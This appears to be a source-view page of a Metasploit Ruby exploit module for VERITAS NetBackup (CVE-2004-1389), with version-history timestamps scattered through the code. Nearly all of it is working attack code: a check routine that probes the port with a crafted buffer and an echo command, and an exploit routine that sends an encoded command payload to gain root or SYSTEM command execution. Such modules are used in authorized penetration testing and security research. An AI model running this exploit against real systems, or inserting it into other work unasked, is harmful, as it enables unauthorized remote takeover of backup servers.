metasploit-framework/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb

89 lines
2.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VERITAS NetBackup Remote Command Execution',
'Description' => %q{
This module allows arbitrary command execution on an
ephemeral port opened by Veritas NetBackup, whilst an
administrator is authenticated. The port is opened and
allows direct console access as root or SYSTEM from
any source address.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1389' ],
[ 'OSVDB', '11026' ],
[ 'BID', '11494' ]
2013-08-30 21:28:54 +00:00
],
'Privileged' => true,
'Platform' => %w{ linux unix win },
2013-08-30 21:28:54 +00:00
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Oct 21 2004',
'DefaultTarget' => 0))
end
def check
connect
sploit = rand_text_alphanumeric(10)
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
sock.put(buf)
banner = sock.get_once
2013-08-30 21:28:54 +00:00
disconnect
if banner.to_s.index(sploit)
2013-08-30 21:28:54 +00:00
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = payload.encoded.split(" ")
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
buf << payload.encoded
buf << "\n"
sock.put(buf)
res = sock.get_once
2013-08-30 21:28:54 +00:00
print_status(res.to_s)
handler
disconnect
end
end